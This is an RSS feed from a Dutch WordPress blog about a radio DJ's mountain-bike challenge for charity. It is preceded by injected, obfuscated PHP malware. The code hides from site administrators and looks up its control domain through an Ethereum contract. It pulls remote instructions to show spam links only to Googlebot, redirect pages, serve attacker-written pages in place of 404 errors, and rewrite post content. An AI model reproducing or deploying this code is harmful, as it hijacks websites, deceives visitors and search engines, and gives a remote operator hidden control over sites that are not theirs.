if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A.D.H.D. MTB</title>
	<atom:link href="https://adhdmtb.nl/feed/" rel="self" type="application/rss+xml" />
	<link>https://adhdmtb.nl</link>
	<description>Trainen voor de mega</description>
	<lastBuildDate>Mon, 26 Feb 2024 09:58:23 +0000</lastBuildDate>
	<language>nl-NL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>
	<item>
		<title>SPORTFIETSEN IS DUUR!</title>
		<link>https://adhdmtb.nl/blog/2024/02/26/podcast-01/</link>
		
		<dc:creator><![CDATA[Barry]]></dc:creator>
		<pubDate>Mon, 26 Feb 2024 09:04:01 +0000</pubDate>
				<category><![CDATA[ADHD_FM]]></category>
		<category><![CDATA[Podcast]]></category>
		<guid isPermaLink="false">https://adhdmtb.nl/?p=247</guid>

					<description><![CDATA[Aflevering 1 van de ADHD MTB podcast Kunnen Jan Blok van wielersportvereniging HSK Trias, John van Herwerden van van Herwerden Sportfietsen en Tinus Jongert directeur Nederlands paramedisch instituut en inspanningsfysioloog, Barry overtuigen dat sportfietsen niet duur is als je dit af weegt naar de gezondheid aspecten voor lichaam en geest?]]></description>
										<content:encoded><![CDATA[
<p>Aflevering 1 van de ADHD MTB podcast</p>



<p>Kunnen Jan Blok van <a href="https://www.hsktrias.nl/" target="_blank" rel="noreferrer noopener">wielersportvereniging HSK Trias</a>, John van Herwerden van <a href="https://www.vanherwerden.nl/" target="_blank" rel="noreferrer noopener">van Herwerden Sportfietsen</a> en Tinus Jongert directeur<a href="https://www.npi.nl/" target="_blank" rel="noreferrer noopener"> Nederlands paramedisch instituut</a> en inspanningsfysioloog, Barry overtuigen dat sportfietsen niet duur is als je dit af weegt naar de gezondheid aspecten voor lichaam en geest?</p>



<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-1 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:33.33%">
<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="576" height="1024" src="https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-576x1024.jpg" alt="" class="wp-image-250" srcset="https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /></figure>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:66.66%">
<iframe title="ADHDMTB aflevering 1: Sportfietsen is duur!" allowtransparency="true" height="300" width="100%" style="border: none; min-width: min(100%, 430px);height:300px;" scrolling="no" data-name="pb-iframe-player" src="https://www.podbean.com/player-v2/?i=hhva3-1591f71-pb&#038;from=pb6admin&#038;square=1&#038;share=1&#038;download=1&#038;rtl=0&#038;fonts=Arial&#038;skin=1&#038;font-color=auto&#038;logo_link=episode_page&#038;btn-skin=ff6d00&#038;size=300" loading="lazy" allowfullscreen=""></iframe>
</div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>De W&#8217;s voor de pers</title>
		<link>https://adhdmtb.nl/blog/2024/02/21/de-ws-voor-de-pers/</link>
		
		<dc:creator><![CDATA[Barry]]></dc:creator>
		<pubDate>Wed, 21 Feb 2024 11:54:45 +0000</pubDate>
				<category><![CDATA[ADHD_FM]]></category>
		<category><![CDATA[In de media]]></category>
		<guid isPermaLink="false">https://adhdmtb.nl/?p=230</guid>

					<description><![CDATA[Een van de zwaarste mountainbike races van Europa, ook wel bekend als de Megavalanche, is een brute, koude en enigszins gevaarlijke afdaling van Alpe d&#8217;Huez. Voor ervaren mountainbikers is dit al een flinke uitdaging met risico&#8217;s. Maar hoe zal dat gaan voor een Radio-dj van middelbare leeftijd die nog maar net kan fietsen? Over de [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Een van de zwaarste mountainbike races van Europa, ook wel bekend als de Megavalanche, is een brute, koude en enigszins gevaarlijke afdaling van Alpe d&#8217;Huez. Voor ervaren mountainbikers is dit al een flinke uitdaging met risico&#8217;s. Maar hoe zal dat gaan voor een Radio-dj van middelbare leeftijd die nog maar net kan fietsen?</p>


<p><iframe width="100%" height="315" src="https://www.youtube.com/embed/_PiRhFk7fj4?si=ZyR1azQilsH1fe_l&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h4 class="wp-block-heading"><strong>Over de rider.</strong></h4>



<p>Barry van de Laar is het vaste gezicht bij het programma Achter De Haagse Duinen op Den Haag FM. Hij is een 47 jarige vader van 2 geweldige meiden, vrijwilliger bij de radio en enthousiasteling op het gebied van challenges. In volle ontkenning van een vroege midlifecrisis is hij met volle moed in januari gestart om te leren mountainbiken om in juni 2025 de race van zijn leven aan te gaan, de Megavalance. Sneeuw, rotsen en bossen gaat<br>hij trotseren om aan de voet van de Alpe d&#8217;Huez veilig van zijn fiets te kunnen stappen. Dit alles met maar één doel: geld inzamelen voor een drie gangen kerstdiner inclusief cadeautjes.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h4 class="wp-block-heading"><strong>Voor een diner met cadeautjes?</strong></h4>



<p>Veel gezinnen hebben het moeilijk tijdens de kerstdagen en zijn veelal afhankelijk van de voedselbank. Een kerstdiner, kerstontbijt en cadeautjes zijn luxes waar vaak geen financiële ruimte voor is te vinden. Stichting Rocking Up X-Mas verzorgt kerstpakketten om zo de zorgen even weg te nemen en de gezinnen toch te laten genieten van een mooie kerst. In<br>het kerstpakket zitten ingrediënten en een recept om een luxe 3-gangen maaltijd te maken. </p>



<p><em><strong>Ze vullen dit pakket aan met diverse extra’s zoals een lokaal uitje, speelgoed en andere zaken die niet vanzelfsprekend zijn. </strong></em></p>



<p>Rocking up Xmas heeft in 2023 ca.1500 gezinnen in Nederland geholpen aan een kerstpakket. De pakketten worden samengesteld door een professionele kok en een vast team binnen de stichting. Met meer dan 100 vrijwilligers zorgen ze in de dagen voor kerst dat de gezinnen deze mooie pakketten in ontvangst mogen nemen en hierdoor toch een prachtige kerst kunnen beleven.</p>



<figure class="wp-block-image aligncenter size-large is-resized"><img decoding="async" width="1024" height="579" src="https://adhdmtb.nl/wp-content/uploads/2024/02/megavalanche-img04-1024x579.jpg" alt="" class="wp-image-237" style="width:435px;height:auto" srcset="https://adhdmtb.nl/wp-content/uploads/2024/02/megavalanche-img04-1024x579.jpg 1024w, https://adhdmtb.nl/wp-content/uploads/2024/02/megavalanche-img04-300x170.jpg 300w, https://adhdmtb.nl/wp-content/uploads/2024/02/megavalanche-img04-768x434.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/02/megavalanche-img04.jpg 1400w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Samen met de Haagse mountainbike gemeenschap en een aantal lokale ondernemers gaat Barry de komende maanden trainen en oefenen om veilig “gecontroleerd van een berg af te donderen”.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="has-text-align-center">Wil jij meer te weten komen of mee doen!? laat even een berichtje achter <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="has-text-align-center">Wil je doneren? &#8230;  <a href="https://www.doneeractie.nl/actie/83193">klik dan hier</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Contact met Barry</h2>


<div class="wpforms-container wpforms-container-full wpforms-block wpforms-block-8fd70d0d-d0bc-4287-8d25-94e496aee8ea wpforms-render-modern" id="wpforms-176"><form id="wpforms-form-176" class="wpforms-validate wpforms-form wpforms-ajax-form" data-formid="176" method="post" enctype="multipart/form-data" action="/feed/" data-token="c8da7f2a886aa9823e98fec1b2dae47a" data-token-time="1780186048"><noscript class="wpforms-error-noscript">Schakel JavaScript in je browser in om dit formulier in te vullen.</noscript><div id="wpforms-error-noscript" style="display: none;">Schakel JavaScript in je browser in om dit formulier in te vullen.</div><div class="wpforms-field-container"><div id="wpforms-176-field_0-container" class="wpforms-field wpforms-field-name" data-field-id="0"><label class="wpforms-field-label" for="wpforms-176-field_0">Naam <span class="wpforms-required-label" aria-hidden="true">*</span></label><input type="text" id="wpforms-176-field_0" class="wpforms-field-small wpforms-field-required" name="wpforms[fields][0]" aria-errormessage="wpforms-176-field_0-error" required></div><div id="wpforms-176-field_1-container" class="wpforms-field wpforms-field-email" data-field-id="1"><label class="wpforms-field-label" for="wpforms-176-field_1">E-mail <span class="wpforms-required-label" aria-hidden="true">*</span></label><input type="email" id="wpforms-176-field_1" class="wpforms-field-small wpforms-field-required" name="wpforms[fields][1]" spellcheck="false" aria-errormessage="wpforms-176-field_1-error" required></div><div id="wpforms-176-field_2-container" class="wpforms-field wpforms-field-textarea" data-field-id="2"><label class="wpforms-field-label" for="wpforms-176-field_2">Reactie of bericht</label><textarea id="wpforms-176-field_2" class="wpforms-field-small" name="wpforms[fields][2]" aria-errormessage="wpforms-176-field_2-error" ></textarea></div></div><!-- .wpforms-field-container --><div class="wpforms-submit-container" ><input type="hidden" name="wpforms[id]" value="176"><input type="hidden" name="page_title" value=""><input type="hidden" name="page_url" value="https://adhdmtb.nl/feed/"><input type="hidden" name="url_referer" value=""><button type="submit" name="wpforms[submit]" id="wpforms-submit-176" class="wpforms-submit" data-alt-text="Verzenden..." data-submit-text="Verzenden" aria-live="assertive" value="wpforms-submit">Verzenden</button><img loading="lazy" decoding="async" src="https://adhdmtb.nl/wp-content/plugins/wpforms-lite/assets/images/submit-spin.svg" class="wpforms-submit-spinner" style="display: none;" width="26" height="26" alt="Bezig met laden"></div></form></div>  <!-- .wpforms-container -->]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ADHD.MTB Let&#8217;s Go</title>
		<link>https://adhdmtb.nl/blog/2024/01/27/adhd-27-januari-2024/</link>
		
		<dc:creator><![CDATA[Barry]]></dc:creator>
		<pubDate>Sat, 27 Jan 2024 19:58:07 +0000</pubDate>
				<category><![CDATA[ADHD_FM]]></category>
		<guid isPermaLink="false">https://adhdmtb.nl/?p=156</guid>

					<description><![CDATA[En toen was het zo ver&#8230; het begin van de uitdaging. 27 januari stond de uitzending van Achter de Haagse Duinen in het teken van de mountainbike challenge. Het was een drukte van jewelste en iedereen had een rol om Barry van die berg af te krijgen. Met deze helden moet dit zeker gaan lukken! [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>En toen was het zo ver&#8230; het begin van de uitdaging. 27 januari stond de uitzending van Achter de Haagse Duinen in het teken van de mountainbike challenge. Het was een drukte van jewelste en iedereen had een rol om Barry van die berg af te krijgen. </p>



<p>Met deze helden moet dit zeker gaan lukken!</p>



<p>Bekijk de <a href="https://adhdmtb.nl/haagse-helden/" data-type="link" data-id="https://adhdmtb.nl/haagse-helden/">Haagse helden</a> pagina voor meer info over deze toppers.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large is-style-default"><img loading="lazy" decoding="async" width="576" height="1024" data-id="135" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0009-576x1024.jpg" alt="" class="wp-image-135" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0009-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0009-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0009-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0009-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0009.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">Rene &amp; Maartje</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="137" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0011-576x1024.jpg" alt="" class="wp-image-137" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0011-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0011-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0011-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0011-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0011.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">Rene &amp; Maartje</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="140" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0014-576x1024.jpg" alt="" class="wp-image-140" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0014-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0014-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0014-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0014-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0014.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">Mannen van middelbare leeftijd</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="141" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0015-576x1024.jpg" alt="" class="wp-image-141" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0015-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0015-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0015-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0015-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0015.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">Mannen van middelbare leeftijd</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="144" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0018-576x1024.jpg" alt="" class="wp-image-144" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0018-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0018-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0018-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0018-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0018.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">Rene, Barry &amp; Maartje</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="147" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0021-576x1024.jpg" alt="" class="wp-image-147" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0021-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0021-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0021-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0021-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0021.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">John van Herwerden</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="151" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0025-576x1024.jpg" alt="" class="wp-image-151" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0025-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0025-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0025-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0025-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0025.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">John &amp; Jan</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="153" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0027-576x1024.jpg" alt="" class="wp-image-153" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0027-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0027-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0027-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0027-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0027.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">Barry &amp; Jan</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="576" height="1024" data-id="155" src="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0029-576x1024.jpg" alt="" class="wp-image-155" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0029-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0029-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0029-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0029-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/01/IMG-20240127-WA0029.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption class="wp-element-caption">John &amp; Barry</figcaption></figure>
</figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>MTBRoutes.nl over ADHD.MTB</title>
		<link>https://adhdmtb.nl/blog/2024/01/26/mtbroutes_over_adhdmtb/</link>
		
		<dc:creator><![CDATA[Barry]]></dc:creator>
		<pubDate>Fri, 26 Jan 2024 15:13:17 +0000</pubDate>
				<category><![CDATA[In de media]]></category>
		<guid isPermaLink="false">http://adhdmtb.nl/?p=1</guid>

					<description><![CDATA[Barry van de Laar, deejay bij&#160;radio Den Haag FM&#160;is in zijn wekelijkse programma&#160;ADHDfm&#160;de challenge aangegaan om over 18 maanden de MEGAVALANCHE te rijden. Hij heeft hier wel een erg zware uitdaging van gemaakt: &#8217;18 maanden trainen voor het zwaarste mountainbike event van de wereld&#8217;. En net als ieder ander jaar betrekken ze een goed doel [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Barry van de Laar, deejay bij&nbsp;<a href="https://www.denhaagfm.nl/" target="_blank" rel="noreferrer noopener">radio Den Haag FM</a>&nbsp;is in zijn wekelijkse programma&nbsp;<a href="https://adhdmtb.nl/" target="_blank" rel="noreferrer noopener">ADHDfm</a>&nbsp;de challenge aangegaan om over 18 maanden de MEGAVALANCHE te rijden.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.mtbroutes.nl/storage/images/2898/desktop-web-0127-barry.jpg" alt=""/></figure>



<p>Hij heeft hier wel een erg zware uitdaging van gemaakt: &#8217;18 maanden trainen voor het zwaarste mountainbike event van de wereld&#8217;. En net als ieder ander jaar betrekken ze een goed doel bij de uitdaging. &#8230;</p>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-1 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.mtbroutes.nl/nieuws/barrys-2024-challenge" target="_blank" rel="noreferrer noopener">Lees het volledige artikel</a></div>
</div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Oei.. we missen een fiets</title>
		<link>https://adhdmtb.nl/blog/2024/01/25/fietsgezocht/</link>
		
		<dc:creator><![CDATA[Barry]]></dc:creator>
		<pubDate>Thu, 25 Jan 2024 12:36:51 +0000</pubDate>
				<category><![CDATA[HELP]]></category>
		<guid isPermaLink="false">https://adhdmtb.nl/?p=110</guid>

					<description><![CDATA[Toen wij begonnen met deze uitdaging werd al snel duidelijk dat Barry deze rit niet kon doen met zijn Specialized hardtail uit 2012 (of 2005?). Dus het eerste idee was crowdfunding. Want tja, een lokale omroep heeft geen budget voor dit soort wilde acties. Maar daar was Barry dan weer tegen. &#8220;Ik ga niet €2000 [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Toen wij begonnen met deze uitdaging werd al snel duidelijk dat Barry deze rit niet kon doen met zijn <a href="https://www.specialized.com/nl/nl?gad_source=1&amp;gclid=CjwKCAiAk9itBhASEiwA1my_67ibK9EZpekGRVD4hSyiR6eULWYF9-tu8zzzdj7OCcPUcAtruno7qRoCkTwQAvD_BwE&amp;gclsrc=aw.ds">Specialized</a> hardtail uit 2012 (of 2005?). </p>



